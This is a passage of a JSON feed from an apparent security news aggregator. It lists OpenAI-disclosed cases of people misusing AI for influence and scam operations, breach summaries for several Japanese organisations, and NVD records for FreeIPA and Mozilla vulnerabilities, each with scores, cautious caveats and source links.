system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-ghana-election"},"sources":[{"name":"OpenAI: Covert influence operation: Ghana election activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-ghana-election","type":"primary","publishedAt":"2025-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-peer-review-ca97b8944f0d","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “Peer Review”: AI-assisted surveillance planning","summary":"OpenAI banned likely China-origin accounts using AI to draft surveillance-tool pitches, analyze documents, and debug code.","detail":"OpenAI banned likely China-origin accounts using AI to draft surveillance-tool pitches, analyze documents, and debug code.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-peer-review"},"sources":[{"name":"OpenAI: Operation “Peer Review”: AI-assisted surveillance planning","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-peer-review","type":"primary","publishedAt":"2025-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-romance-baiting-scam-c2beee99786e","cveId":null,"aliases":[],"kind":"ai-incident","title":"Romance-baiting scam: AI-assisted pig butchering workflows","summary":"OpenAI banned accounts that appeared to originate in Cambodia and used AI to translate and generate romance, investment scam conversations.","detail":"OpenAI banned accounts that appeared to originate in Cambodia and used AI to translate and generate romance, investment scam conversations.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-romance-baiting-scam"},"sources":[{"name":"OpenAI: Romance-baiting scam: AI-assisted pig butchering workflows","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-romance-baiting-scam","type":"primary","publishedAt":"2025-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-sponsored-discontent-5177cce29a48","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “Sponsored Discontent”: Influence activity","summary":"OpenAI banned likely China-origin accounts using AI to generate English social posts and Spanish-language articles.","detail":"OpenAI banned likely China-origin accounts using AI to generate English social posts and Spanish-language articles.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-sponsored-discontent"},"sources":[{"name":"OpenAI: Operation “Sponsored Discontent”: Influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-sponsored-discontent","type":"primary","publishedAt":"2025-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-task-scam-56dab6d87099","cveId":null,"aliases":[],"kind":"ai-incident","title":"Task scam: AI-assisted fake review jobs","summary":"OpenAI banned accounts that appeared to originate in Cambodia and used AI to translate messages for fake-review job scams that asked victims to pay fees.","detail":"OpenAI banned accounts that appeared to originate in Cambodia and used AI to translate messages for fake-review job scams that asked victims to pay fees.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-task-scam"},"sources":[{"name":"OpenAI: Task scam: AI-assisted fake review jobs","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-task-scam","type":"primary","publishedAt":"2025-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"dmm-bitcoin-tradertraitor-2024","cveId":null,"aliases":[],"kind":"breach","title":"DMM Bitcoin theft attributed to North Korean actors","summary":"The FBI, DC3, and Japan's NPA attribute DMM's May 2024 theft of 4,502.9 BTC to TraderTraitor actors. Their statement values the stolen funds at $308 million at the time of the attack, not at a current Bitcoin price.","detail":"The agencies describe a Ginco employee targeted with a malicious Python recruitment test and subsequent session-cookie impersonation. They assess that attackers likely manipulated a legitimate DMM transaction request; that step is not presented as a definitively proven signing mechanism.","action":"Consult the joint statement for the documented recruitment lure and session-abuse sequence. It does not prescribe a specific DMM patch or certify a universal wallet-signing remediation.","publishedAt":"2024-12-23","updatedAt":null,"regions":["Japan"],"vendor":"DMM Bitcoin / Ginco","product":"Cryptocurrency wallet and transaction workflows","stacks":["Python","Cryptocurrency","Identity","Supply chain","Social engineering"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The joint statement does not attribute the recruitment lure, Python script, or transaction manipulation to AI.","sourceUrl":null},"sources":[{"name":"FBI, DC3, and NPA joint DMM Bitcoin statement","url":"https://www.fbi.gov/news/press-releases/fbi-dc3-and-npa-identification-of-north-korean-cyber-actors-tracked-as-tradertraitor-responsible-for-theft-of-308-million-from-bitcoindmmcom","type":"primary","publishedAt":"2024-12-23","checkedAt":"2026-10-26","supports":"Agency attribution, May 2024 theft, historical amount, recruitment lure, session abuse, and likely transaction manipulation."}],"provenance":{"origin":"editorial","retrievedAt":null,"reviewedAt":"2026-10-26"},"reviewed":false},{"id":"casio-ransomware-2024","cveId":null,"aliases":[],"kind":"breach","title":"Casio ransomware and internal-document leakage","summary":"Casio confirms an October 5, 2024 ransomware intrusion and leakage of internal documents containing employee, partner, and some customer information. Its investigation says CASIO ID and ClassPad.net ran on separate systems and were unaffected.","detail":"The January 7, 2025 report identifies deficiencies in phishing defenses and global network security, but does not establish AI use or a precise affiliate-to-headquarters attack path. It found no evidence of theft from the customer database and says leaked personal information did not include credit-card information.","action":"Use Casio's official notifications and inquiry channel if affected. Be cautious of unsolicited follow-up emails and do not redistribute leaked personal information; the company describes security review and employee training as recurrence-prevention measures.","publishedAt":"2024-10-08","updatedAt":"2025-01-07","regions":["Japan"],"vendor":"Casio Computer","product":"Corporate network and internal document systems","stacks":["Casio Computer","Corporate networks","Identity","Manufacturing"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"Casio's notices do not establish AI-generated phishing or attacker document translation.","sourceUrl":null},"sources":[{"name":"Casio initial unauthorized-access notice","url":"https://world.casio.com/news/2024/1008-incident/","type":"primary","publishedAt":"2024-10-08","checkedAt":"2026-10-26","supports":"October 5, 2024 intrusion, service disruption, and the initial investigation status."},{"name":"Casio ransomware investigation results","url":"https://world.casio.com/news/2025/0107-incident/","type":"primary","publishedAt":"2025-01-07","checkedAt":"2026-10-26","supports":"Confirmed internal-document leakage, scope and exclusions, separate unaffected services, and prevention guidance."}],"provenance":{"origin":"editorial","retrievedAt":null,"reviewedAt":"2026-10-26"},"reviewed":false},{"id":"jaxa-network-data-leakage-2023","cveId":null,"aliases":[],"kind":"breach","title":"JAXA discloses data leakage from a 2023 intrusion","summary":"JAXA's July 5, 2024 notice confirms leakage of collaboration information and personal information from an intrusion detected in October 2023. It describes VPN-device compromise, stolen accounts, and unauthorized Microsoft 365 access.","detail":"JAXA considers exploitation of a previously disclosed VPN vulnerability likely, without naming a CVE. It separately reports 2024 intrusions, including zero-day attacks, with no information leakage confirmed from those events. Sensitive rocket and satellite operations information was not handled on the affected systems.","action":"Consult JAXA's official notice for affected-party communications and response context. It describes faster vulnerability response, stronger monitoring, and impersonation defenses, but does not provide a specific CVE patch or universal VPN-replacement mandate.","publishedAt":"2024-07-05","updatedAt":null,"regions":["Japan"],"vendor":"Japan Aerospace Exploration Agency","product":"Business intranet and Microsoft 365 information","stacks":["Japan Aerospace Exploration Agency","Firewall / VPN","Identity","Microsoft 365","Corporate networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"JAXA's notice does not attribute any of the intrusions to AI. Unknown malware is not evidence of AI-generated malware.","sourceUrl":null},"sources":[{"name":"JAXA official unauthorized-access and information-leakage notice","url":"https://www.jaxa.jp/press/2024/07/20240705-2_j.html","type":"primary","publishedAt":"2024-07-05","checkedAt":"2026-10-26","supports":"Confirmed 2023-event leakage, qualified VPN mechanism, Microsoft 365 access, sensitive-system exclusion, and distinct 2024 events."}],"provenance":{"origin":"editorial","retrievedAt":null,"reviewedAt":"2026-10-26"},"reviewed":false},{"id":"kadokawa-niconico-ransomware-2024","cveId":null,"aliases":[],"kind":"breach","title":"KADOKAWA and Niconico ransomware disruption","summary":"KADOKAWA confirms a June 8, 2024 ransomware attack affecting its data center and Niconico-related services. Its August 5, 2024 notice confirms leakage involving employees, business partners, and educational-institute stakeholders.","detail":"The company presumes stolen employee credentials, possibly from phishing, were involved, while saying the exact route and method were unknown. It did not confirm leakage of Niconico login credentials. The reviewed corporate notices do not identify a ransomware gang or prove hypervisor power-control claims.","action":"Follow official individual notifications and dedicated helpdesks. Treat suspicious follow-up messages cautiously and avoid redistributing exposed personal information, as requested in KADOKAWA's notice.","publishedAt":"2024-06-14","updatedAt":"2024-08-05","regions":["Japan"],"vendor":"KADOKAWA / DWANGO","product":"Group data center and Niconico services","stacks":["KADOKAWA / DWANGO","Corporate networks","Identity","Media services","Education"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The corporate disclosures do not establish AI involvement. The credential-theft theory is itself qualified by the company.","sourceUrl":null},"sources":[{"name":"KADOKAWA second report on system failure","url":"https://group.kadokawa.co.jp/information/media-download/1337/a0a8256c542b707e/","type":"primary","publishedAt":"2024-06-14","checkedAt":"2026-10-26","supports":"June 8, 2024 event, ransomware confirmation, Niconico and publishing/accounting disruption, and initial uncertainty."},{"name":"KADOKAWA notice concerning information leakage","url":"https://group.kadokawa.co.jp/information/media-download/1355/9d3bd5d77ffe0c4d/","type":"primary","publishedAt":"2024-08-05","checkedAt":"2026-10-26","supports":"Confirmed leakage categories, credential-theft hypothesis, login-data caveat, notifications, and secondary-harm guidance."}],"provenance":{"origin":"editorial","retrievedAt":null,"reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2026-73198","cveId":"CVE-2026-73198","aliases":[],"kind":"vulnerability","title":"A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the `/ipa/i18n_messages` endpoint by sending an arbitrarily large request body.","summary":"A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the `/ipa/i18n_messages` endpoint by sending an arbitrarily large request body. This can cause the service to consume excessive memory, leading to memory exhaustion, degraded responsiveness, and a denial of service (DoS) condition.","detail":"A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the `/ipa/i18n_messages` endpoint by sending an arbitrarily large request body. This can cause the service to consume excessive memory, leading to memory exhaustion, degraded responsiveness, and a denial of service (DoS) condition.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-20T11:16:21.687Z","updatedAt":"2026-10-26T14:16:39.510Z","regions":["Global"],"vendor":"redhat","product":"enterprise linux","stacks":["Redhat","enterprise linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73198","asOf":"2026-10-26T14:16:39.510Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73198","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73198","type":"primary","publishedAt":"2026-08-20T11:16:21.687Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/security/cve/CVE-2026-73198","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73197","cveId":"CVE-2026-73197","aliases":[],"kind":"vulnerability","title":"A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the `/ipa/migration/migration.py`...","summary":"A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the `/ipa/migration/migration.py` endpoint. This can force the migration handler to read attacker-controlled request bodies fully into memory, leading to increased memory usage, slower request handling, and potential service disruption or denial of service.","detail":"A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the `/ipa/migration/migration.py` endpoint. This can force the migration handler to read attacker-controlled request bodies fully into memory, leading to increased memory usage, slower request handling, and potential service disruption or denial of service.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-20T11:16:21.553Z","updatedAt":"2026-10-26T14:16:39.300Z","regions":["Global"],"vendor":"redhat","product":"enterprise linux","stacks":["Redhat","enterprise linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73197","asOf":"2026-10-26T14:16:39.300Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73197","type":"primary","publishedAt":"2026-08-20T11:16:21.553Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/security/cve/CVE-2026-73197","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-13097","cveId":"CVE-2026-13097","aliases":[],"kind":"vulnerability","title":"A privilege escalation flaw was found in FreeIPA.","summary":"A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.","detail":"A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-20T11:16:20.293Z","updatedAt":"2026-10-26T14:16:38.190Z","regions":["Global"],"vendor":"redhat","product":"enterprise linux","stacks":["Redhat","enterprise linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-13097","asOf":"2026-10-26T14:16:38.190Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-13097","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13097","type":"primary","publishedAt":"2026-08-20T11:16:20.293Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/security/cve/CVE-2026-13097","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19550","cveId":"CVE-2026-19550","aliases":[],"kind":"vulnerability","title":"A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an...","summary":"A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an authenticated, non-privileged IPA user to trigger a privileged Active Directory trust refresh using an attacker-supplied server and credentials, resulting in unauthorized, attacker-controlled modification of trusted-domain and ID-range identity data in the IPA LDAP directory.","detail":"A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an authenticated, non-privileged IPA user to trigger a privileged Active Directory trust refresh using an attacker-supplied server and credentials, resulting in unauthorized, attacker-controlled modification of trusted-domain and ID-range identity data in the IPA LDAP directory.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-11T21:17:35.087Z","updatedAt":"2026-10-26T14:16:38.577Z","regions":["Global"],"vendor":"redhat","product":"enterprise linux","stacks":["Redhat","enterprise linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19550","asOf":"2026-10-26T14:16:38.577Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19550","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19550","type":"primary","publishedAt":"2026-08-11T21:17:35.087Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/security/cve/CVE-2026-19550","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12317","cveId":"CVE-2026-12317","aliases":[],"kind":"vulnerability","title":"Memory safety bug fixed in Thunderbird 152.","summary":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152 and Thunderbird 152.","detail":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152 and Thunderbird 152.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:32.350Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12317","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12317","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12317","type":"primary","publishedAt":"2026-06-16T13:16:32.350Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12314","cveId":"CVE-2026-12314","aliases":[],"kind":"vulnerability","title":"Memory safety bug fixed in Thunderbird 152.","summary":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.","detail":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:32.037Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12314","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12314","type":"primary","publishedAt":"2026-06-16T13:16:32.037Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12312","cveId":"CVE-2026-12312","aliases":[],"kind":"vulnerability","title":"Memory safety bug fixed in Thunderbird 152.","summary":"Memory safety bug fixed in 